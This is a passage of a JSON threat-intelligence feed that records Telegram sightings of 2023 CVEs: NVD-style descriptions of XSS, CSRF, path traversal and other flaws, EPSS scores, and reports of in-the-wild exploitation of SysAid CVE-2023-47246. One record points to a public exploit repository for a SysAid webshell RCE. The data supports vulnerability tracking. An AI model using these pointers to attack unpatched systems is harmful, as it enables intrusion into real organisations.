"https://t.me/arpsyndicate/3357", "content": "#ExploitObserverAlert\n\nCVE-2023-47020\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2023-47020. Multiple Cross-Site Request Forgery (CSRF) chaining in NCR Terminal Handler v.1.5.1 allows privileges to be escalated by an attacker through a crafted request involving user account creation and adding the user to an administrator group. This is exploited by an undisclosed function in the WSDL that lacks security controls and can accept custom content types.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-02-11T12:13:15.000000Z"}, {"uuid": "255f58c8-0089-438e-b46d-61003758a278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47211", "type": "seen", "source": "https://t.me/arpsyndicate/3102", "content": "#ExploitObserverAlert\n\nCVE-2023-47211\n\nDESCRIPTION: Exploit Observer has 4 entries in 4 file formats related to CVE-2023-47211. A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.\n\nFIRST-EPSS: 0.001640000\nNVD-IS: 4.0\nNVD-ES: 3.9", "creation_timestamp": "2024-01-26T22:44:46.000000Z"}, {"uuid": "1089b999-96d7-4cab-bce1-2796c2c7a938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47350", "type": "seen", "source": "https://t.me/arpsyndicate/2992", "content": "#ExploitObserverAlert\n\nCVE-2023-47350\n\nDESCRIPTION: Exploit Observer has 3 entries in 3 file formats related to CVE-2023-47350. Cross-Site Request Forgery (CSRF) vulnerability in SwiftyEdit Content Management System prior to v1.2.0, allows remote attackers to escalate privileges via the user password update functionality.\n\nFIRST-EPSS: 0.000580000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2024-01-26T15:51:30.000000Z"}, {"uuid": "cadcaaa9-85f5-481b-865a-bc199584888b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47211", "type": "seen", "source": "https://t.me/arpsyndicate/3021", "content": "#ExploitObserverAlert\n\nPD/http/cves/2023/CVE-2023-47211\n\nDESCRIPTION: Exploit Observer has 4 entries in 4 file formats related to PD/HTTP/CVES/2023/CVE-2023-47211. A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.", "creation_timestamp": "2024-01-26T17:55:49.000000Z"}, {"uuid": "eaf245f9-4eac-4cc9-8a27-aba98828449f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4779", "type": "seen", "source": "https://t.me/cibsecurity/69971", "content": "\u203c CVE-2023-4779 \u203c\n\nThe User Submitted Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's [usp_gallery] shortcode in versions up to, and including, 20230811 due to insufficient input sanitization and output escaping on user supplied attributes like 'before'. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T12:17:56.000000Z"}, {"uuid": "0bfcd71e-f023-4a1e-8c34-b6c9fce9d44e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47390", "type": "seen", "source": "https://t.me/arpsyndicate/2455", "content": "#ExploitObserverAlert\n\nCVE-2023-47390\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47390. Headscale through 0.22.3 writes bearer tokens to info-level logs.\n\nFIRST-EPSS: 0.000840000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T12:21:18.000000Z"}, {"uuid": "3843bcf5-a6e5-4bbd-8787-9fa759c64b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4774", "type": "seen", "source": "https://t.me/arpsyndicate/2458", "content": "#ExploitObserverAlert\n\nCVE-2023-4774\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-4774. The WP-Matomo Integration (WP-Piwik) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wp-piwik' shortcode in versions up to, and including, 1.0.28 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nFIRST-EPSS: 0.000510000\nNVD-IS: 2.7\nNVD-ES: 2.3", "creation_timestamp": "2024-01-04T12:49:33.000000Z"}, {"uuid": "765107a2-2260-4d2d-9e2a-80d2e8669d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47840", "type": "seen", "source": "https://t.me/arpsyndicate/2282", "content": "#ExploitObserverAlert\n\nCVE-2023-47840\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47840. Improper Control of Generation of Code ('Code Injection') vulnerability in Qode Interactive Qode Essential Addons.This issue affects Qode Essential Addons: from n/a through 1.5.2.", "creation_timestamp": "2023-12-31T02:55:38.000000Z"}, {"uuid": "54617eab-bff0-4370-bdf6-d84bd50aa3ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47079", "type": "seen", "source": "https://t.me/arpsyndicate/2370", "content": "#ExploitObserverAlert\n\nCVE-2023-47079\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47079. Adobe Dimension versions 3.4.10 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nFIRST-EPSS: 0.001240000\nNVD-IS: 3.6\nNVD-ES: 1.8", "creation_timestamp": "2024-01-03T22:32:35.000000Z"}, {"uuid": "e3649e47-17ea-4d44-92f1-d3e318d76993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47121", "type": "seen", "source": "https://t.me/arpsyndicate/2367", "content": "#ExploitObserverAlert\n\nCVE-2023-47121\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-47121. Discourse is an open source platform for community discussion. Prior to version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches, the embedding feature is susceptible to server side request forgery. The issue is patched in version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches. As a workaround, disable the Embedding feature.\n\nFIRST-EPSS: 0.000680000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-03T22:13:02.000000Z"}, {"uuid": "f0f64ccc-9828-407a-aaec-07e1ac76e8e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/arpsyndicate/2294", "content": "#ExploitObserverAlert\n\nCVE-2023-47882\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47882. The Kami Vision YI IoT com.yunyi.smartcamera application through 4.1.9_20231127 for Android allows a remote attacker to execute arbitrary JavaScript code via an implicit intent to the com.ants360.yicamera.activity.WebViewActivity component.", "creation_timestamp": "2023-12-31T04:16:00.000000Z"}, {"uuid": "4546f5de-64f4-4f94-add5-cd6768bcf8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/arpsyndicate/2256", "content": "#ExploitObserverAlert\n\nCVE-2023-47883\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47883. The com.altamirano.fabricio.tvbrowser TV browser application through 4.5.1 for Android is vulnerable to JavaScript code execution via an explicit intent due to an exposed MainActivity.", "creation_timestamp": "2023-12-30T23:22:00.000000Z"}, {"uuid": "0d55d5bc-895b-4330-954c-36bc891a4a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47119", "type": "seen", "source": "https://t.me/arpsyndicate/2053", "content": "#ExploitObserverAlert\n\nCVE-2023-47119\n\nDESCRIPTION: Exploit Observer has 3 entries related to CVE-2023-47119. Discourse is an open source platform for community discussion. Prior to version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches, some links can inject arbitrary HTML tags when rendered through our Onebox engine. The issue is patched in version 3.1.3 of the `stable` branch and version 3.2.0.beta3 of the `beta` and `tests-passed` branches. There are no known workarounds.\n\nFIRST-EPSS: 0.000520000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2023-12-21T17:37:53.000000Z"}, {"uuid": "39bb9ccd-2192-400f-a443-79a4febf3424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47635", "type": "seen", "source": "https://t.me/arpsyndicate/3849", "content": "#ExploitObserverAlert\n\nCVE-2023-47635\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2023-47635. Decidim is a participatory democracy framework. Starting in version 0.23.0 and prior to versions 0.27.5 and 0.28.0, the CSRF authenticity token check is disabled for the questionnaire templates preview. The issue does not imply a serious security thread as you need to have access also to the session cookie in order to see this resource. This URL does not allow modifying the resource but it may allow attackers to gain access to information which was not meant to be public. The issue is fixed in version 0.27.5 and 0.28.0. As a workaround, disable the templates functionality or remove all available templates.", "creation_timestamp": "2024-02-21T15:34:16.000000Z"}, {"uuid": "71a901a4-f38f-496b-a802-212887d811a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47795", "type": "seen", "source": "https://t.me/arpsyndicate/4045", "content": "#ExploitObserverAlert\n\nCVE-2023-47795\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2023-47795. Stored cross-site scripting (XSS) vulnerability in the Document and Media widget in Liferay Portal 7.4.3.18 through 7.4.3.101, and Liferay DXP 2023.Q3 before patch 6, and 7.4 update 18 through 92 allows remote authenticated users to inject arbitrary web script or HTML via a crafted payload injected into a document's \u201cTitle\u201d text field.", "creation_timestamp": "2024-02-22T20:58:25.000000Z"}, {"uuid": "7417111c-e12f-485d-83e4-2425c9b513f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/arpsyndicate/1260", "content": "#ExploitObserverAlert\n\nCVE-2023-47246\n\nDESCRIPTION: Exploit Observer has 12 entries related to CVE-2023-47246. In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.\n\nFIRST-EPSS: 0.667970000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-04T17:15:30.000000Z"}, {"uuid": "1011e4c9-e756-43b6-b169-d062b2b71e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47037", "type": "seen", "source": "https://t.me/arpsyndicate/831", "content": "#ExploitObserverAlert\n\nCVE-2023-47037\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47037. We failed to apply\u00a0CVE-2023-40611 in 2.7.1 and this vulnerability was marked as fixed then.\u00a0  Apache Airflow, versions before 2.7.3, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.\u00a0  Users should upgrade to version 2.7.3 or later which has removed the vulnerability.\n\nFIRST-EPSS: 0.000710000\nNVD-IS: 1.4\nNVD-ES: 2.8", "creation_timestamp": "2023-12-01T06:46:53.000000Z"}, {"uuid": "8dcfed26-70e2-493e-b484-d8d21f50f967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47184", "type": "seen", "source": "https://t.me/arpsyndicate/821", "content": "#ExploitObserverAlert\n\nCVE-2023-47184\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-47184. Auth. (admin ) Stored Cross-Site Scripting (XSS) vulnerability in Proper Fraction LLC. Admin Bar", "creation_timestamp": "2023-11-30T19:09:24.000000Z"}, {"uuid": "d97c53f0-fe2b-4215-952a-8c0843ad80c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/arpsyndicate/377", "content": "#ExploitObserverAlert\n\nCVE-2023-47246\n\nDESCRIPTION: Exploit Observer has 9 entries related to CVE-2023-47246. In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.\n\nFIRST-EPSS: 0.667970000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-23T00:15:23.000000Z"}, {"uuid": "475b1134-c608-4dc3-8380-fc4f717666aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/arpsyndicate/583", "content": "#ExploitObserverAlert\n\nCVE-2023-47246\n\nDESCRIPTION: Exploit Observer has 11 entries related to CVE-2023-47246. In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.\n\nFIRST-EPSS: 0.667970000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-26T03:04:34.000000Z"}, {"uuid": "19ff3d76-18ff-4f61-a69c-7b9932299289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47668", "type": "seen", "source": "https://t.me/arpsyndicate/521", "content": "#ExploitObserverAlert\n\nCVE-2023-47668\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47668.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2023-11-24T08:12:01.000000Z"}, {"uuid": "f3f330d4-8765-4693-913d-0ce7063df2b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47359", "type": "seen", "source": "https://t.me/arpsyndicate/499", "content": "#ExploitObserverAlert\n\nCVE-2023-47359\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47359. Videolan VLC prior to version 3.0.20 contains an incorrect offset read that leads to a Heap-Based Buffer Overflow in function GetPacket() and results in a memory corruption.\n\nFIRST-EPSS: 0.000870000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-23T13:54:02.000000Z"}, {"uuid": "126dc6d5-f611-4a1e-9ad0-d961caf07dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47102", "type": "seen", "source": "https://t.me/arpsyndicate/276", "content": "#ExploitObserverAlert\n\nCVE-2023-47102\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-47102. UrBackup Server 2.5.31 allows brute-force enumeration of user accounts because a failure message confirms that a username is not valid.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 1.4\nNVD-ES: 3.9", "creation_timestamp": "2023-11-19T15:33:30.000000Z"}, {"uuid": "1f413965-f383-47a4-bba5-7dd656a01c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47108", "type": "seen", "source": "https://t.me/arpsyndicate/1686", "content": "#ExploitObserverAlert\n\nCVE-2023-47108\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47108. OpenTelemetry-Go Contrib is a collection of third-party packages for OpenTelemetry-Go. Prior to version 0.46.0, the grpc Unary Server Interceptor out of the box adds labels `net.peer.sock.addr` and `net.peer.sock.port` that have unbound cardinality. It leads to the server's potential memory exhaustion when many malicious requests are sent. An attacker can easily flood the peer address and port for requests. Version 0.46.0 contains a fix for this issue. As a workaround to stop being affected, a view removing the attributes can be used. The other possibility is to disable grpc metrics instrumentation by passing `otelgrpc.WithMeterProvider` option with `noop.NewMeterProvider`.\n\nFIRST-EPSS: 0.000880000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-12-11T01:48:07.000000Z"}, {"uuid": "56556e39-c437-444c-b481-dcc63f1dfcdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47840", "type": "seen", "source": "https://t.me/cibsecurity/73919", "content": "\u203c\ufe0fCVE-2023-47840\u203c\ufe0f\n\nImproper Control of Generation of Code 'Code Injection' vulnerability in Qode Interactive Qode Essential Addons.This issue affects Qode Essential Addons from na through 1.5.2.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:36:10.000000Z"}, {"uuid": "e88c5ef0-cca5-4e29-b5fa-4c0b706c7230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47437", "type": "seen", "source": "https://t.me/arpsyndicate/707", "content": "#ExploitObserverAlert\n\nCVE-2023-47437\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-47437.", "creation_timestamp": "2023-11-29T09:13:15.000000Z"}, {"uuid": "e1e08320-5e96-47ef-b8fe-1e8e60b94c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4795", "type": "seen", "source": "https://t.me/cibsecurity/72360", "content": "\u203c CVE-2023-4795 \u203c\n\nThe Testimonial Slider Shortcode WordPress plugin before 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admin\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:28.000000Z"}, {"uuid": "e91223b4-d841-4b2d-b926-68e0c90d0df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4783", "type": "seen", "source": "https://t.me/cibsecurity/72351", "content": "\u203c CVE-2023-4783 \u203c\n\nThe Magee Shortcodes WordPress plugin through 2.1.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:18.000000Z"}, {"uuid": "356f3e06-e47e-47cd-aa2c-fd59b657cab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/mGP7hj16dqesl95DJ6RwBOASV1j0GTqY6jyPxtM9isfpeQ", "content": "", "creation_timestamp": "2023-11-09T18:14:37.000000Z"}, {"uuid": "56fc80b5-2b64-48e8-b5e8-e8c1ed02bdc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4798", "type": "seen", "source": "https://t.me/cibsecurity/72349", "content": "\u203c CVE-2023-4798 \u203c\n\nThe User Avatar WordPress plugin before 1.2.2 does not properly sanitize and escape certain of its shortcodes attributes, which could allow relatively low-privileged users like contributors to conduct Stored XSS attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:16.000000Z"}, {"uuid": "bcafcd37-beaf-42f6-a20a-8a801988756e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4725", "type": "seen", "source": "https://t.me/cibsecurity/72353", "content": "\u203c CVE-2023-4725 \u203c\n\nThe Simple Posts Ticker WordPress plugin before 1.1.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:21.000000Z"}, {"uuid": "9bf28850-e3ae-4967-9f7b-98210e7a2331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/itARMYofUkraine2022_INT/27656", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u043d\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \"\u0434\u043d\u044f \u043d\u0443\u043b\u044c\" \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u0430 \u0443 SysAid, \u0456\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u043e\u0432\u0430\u043d\u0430 \u044f\u043a CVE-2023-47246, \u0431\u0443\u043b\u0430 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u0430 \u043a\u0456\u0431\u0435\u0440\u0437\u043b\u043e\u0447\u0438\u043d\u0446\u044f\u043c\u0438, \u043f\u043e\u0432\u2019\u044f\u0437\u0430\u043d\u0438\u043c\u0438 \u0437 \u0432\u0456\u0440\u0443\u0441\u043e\u043c-\u0432\u0438\u043c\u0430\u0433\u0430\u0447\u0435\u043c CLOP. \u0426\u044f \u0431\u0435\u0437\u043f\u0435\u043a\u043e\u0432\u0430 \u0448\u043f\u0430\u0440\u0438\u043d\u0430 \u0434\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0443. Microsoft \u0432\u0438\u044f\u0432\u0438\u0432 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u0456 SysAid \u0432\u0436\u0435 \u0432\u0438\u043f\u0443\u0441\u0442\u0438\u0432 \u0432\u0438\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044f. \u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447\u0430\u043c, \u0449\u043e \u0437\u0430\u0437\u043d\u0430\u043b\u0438 \u0432\u043f\u043b\u0438\u0432\u0443, \u0440\u0430\u0434\u0438\u043c\u043e \u043d\u0435\u0433\u0430\u0439\u043d\u043e \u043e\u043d\u043e\u0432\u0438\u0442\u0438\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0456\u0457 23.3.36 \u0442\u0430 \u0441\u043b\u0456\u0434\u0443\u0432\u0430\u0442\u0438 \u0432\u043a\u0430\u0437\u0456\u0432\u043a\u0430\u043c SysAid \u0434\u043b\u044f \u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0441\u0432\u043e\u0457\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \n\n\u0411\u0443\u0434\u044c\u0442\u0435 \u043f\u0438\u043b\u044c\u043d\u0456! \u0414\u0456\u043b\u0456\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0439 \u0434\u043e\u0441\u0432\u0456\u0434\u043e\u043c \u0437 \u0437\u0430\u043f\u043e\u0431\u0456\u0433\u0430\u043d\u043d\u044f \u043a\u0456\u0431\u0435\u0440\u0437\u0430\u0433\u0440\u043e\u0437 \u0443 \u043d\u0430\u0448\u043e\u043c\u0443 \u0447\u0430\u0442\u0456.\n\u2014\nA critical \"zero-day\" vulnerability in SysAid identified as CVE-2023-47246 was exploited by cybercriminals linked to the CLOP ransomware. This security gap allowed the execution of arbitrary code. Microsoft detected the issue, and SysAid has already released a fix. Users affected are advised to immediately update to version 23.3.36 and follow SysAid's instructions to protect their systems.\n\nStay alert! Share problems and experiences with preventing cyber threats in our chat.", "creation_timestamp": "2023-11-13T18:03:16.000000Z"}, {"uuid": "0cc54131-2fcc-459d-a1fc-d7984f942588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/KomunitiSiber/1052", "content": "Zero-Day Alert: Lace Tempest Exploits SysAid IT Support Software Vulnerability\nhttps://thehackernews.com/2023/11/zero-day-alert-lace-tempest-exploits.html\n\nThe threat actor known as Lace Tempest has been linked to the exploitation of a zero-day flaw in SysAid IT support software in limited attacks, according to new findings from Microsoft.\nLace Tempest, which is known for distributing the Cl0p ransomware, has in the past leveraged zero-day flaws in\u00a0MOVEit Transfer\u00a0and\u00a0PaperCut servers.\nThe issue, tracked as\u00a0CVE-2023-47246, concerns a path traversal", "creation_timestamp": "2023-11-09T18:40:03.000000Z"}, {"uuid": "aecc06b5-0fe6-44d5-a9e7-9e34bcc9cbbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4736", "type": "seen", "source": "https://t.me/cibsecurity/69702", "content": "\u203c CVE-2023-4736 \u203c\n\nUntrusted Search Path in GitHub repository vim/vim prior to 9.0.1833.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T22:14:51.000000Z"}, {"uuid": "afbab791-8b40-45c7-8de9-0ade4d4a7cb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "Telegram/cJE2f1Ylibso8WfxExY7XnGGn9loSwHSSInb5Uh2BQYHEQ", "content": "", "creation_timestamp": "2023-09-28T05:04:24.000000Z"}, {"uuid": "e55421c0-4e10-4854-b88d-72c025230260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47858", "type": "seen", "source": "https://t.me/cibsecurity/74176", "content": "\u203c\ufe0fCVE-2023-47858\u203c\ufe0f\n\nMattermost fails to properly verify the permissions needed for viewing archived public channels,\u00a0\u00a0allowing a member of one team to get details about the archived public channels of another team via the\u00a0GET apiv4teamschannelsdeleted endpoint.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:35:15.000000Z"}, {"uuid": "8898282f-5f69-451f-9491-f9d1f4e3c0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4735", "type": "seen", "source": "https://t.me/cibsecurity/69701", "content": "\u203c CVE-2023-4735 \u203c\n\nOut-of-bounds Write in GitHub repository vim/vim prior to 9.0.1847.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T22:14:50.000000Z"}, {"uuid": "a4879732-bd29-4d30-9bd6-1a6528ce047d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3583", "content": "https://github.com/W01fh4cker/CVE-2023-47246-EXP\n\n\nSysAid RCE \uff08webshell \uff09", "creation_timestamp": "2023-11-21T14:55:04.000000Z"}, {"uuid": "694d88e6-72ef-4f3d-94bd-1e1a2e820df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 